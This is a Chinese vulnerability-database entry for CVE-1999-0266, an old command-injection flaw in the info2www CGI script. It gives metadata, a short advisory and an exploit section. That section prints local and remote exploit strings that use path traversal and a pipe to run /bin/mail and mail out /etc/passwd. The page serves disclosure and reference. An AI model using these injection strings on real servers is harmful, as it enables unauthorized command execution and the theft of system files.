Info2www CGI Input Handling 漏洞-安全小百科

Info2www CGI Input Handling 漏洞

漏洞ID	1105340	漏洞类型	输入验证
发布时间	1998-03-03	更新时间	2005-09-08
CVE编号	CVE-1999-0266	CNNVD-ID	CNNVD-199803-003
漏洞平台	CGI	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/20430
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199803-003

|漏洞详情

Theinfo2wwwCGI脚本存在漏洞。该漏洞允许远程访问文件或远程执行命令。

|漏洞EXP

source: http://www.securityfocus.com/bid/1995/info

The info2www script allows HTTP access to information stored in GNU EMACS Info Nodes. This script fails to properly parse input and can be used to execute commands on the server with permissions of the web server, by passing commands as part of a variable. Potential consequences of a successful exploitation involve anything the web server process has permissions to do, including possibly web site defacement. 

Locally:
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail recipient </etc/passwd|)'
$
You have new mail.
$

Remotely:
http://targethost/cgi-bin/info2www?(../../../../../../../../bin/mail recipient </etc/passwd|)

|参考资料

来源:BID
名称:1995
链接:http://www.securityfocus.com/bid/1995

相关推荐: TightVNC Win32 Server QueryAllowNoPass Access Control Bypass Vulnerability

TightVNC Win32 Server QueryAllowNoPass Access Control Bypass Vulnerability 漏洞ID 1099723 漏洞类型 Unknown 发布时间 2003-08-05 更新时间 2003-08-…

文章版权归作者所有，未经允许请勿转载。

THE END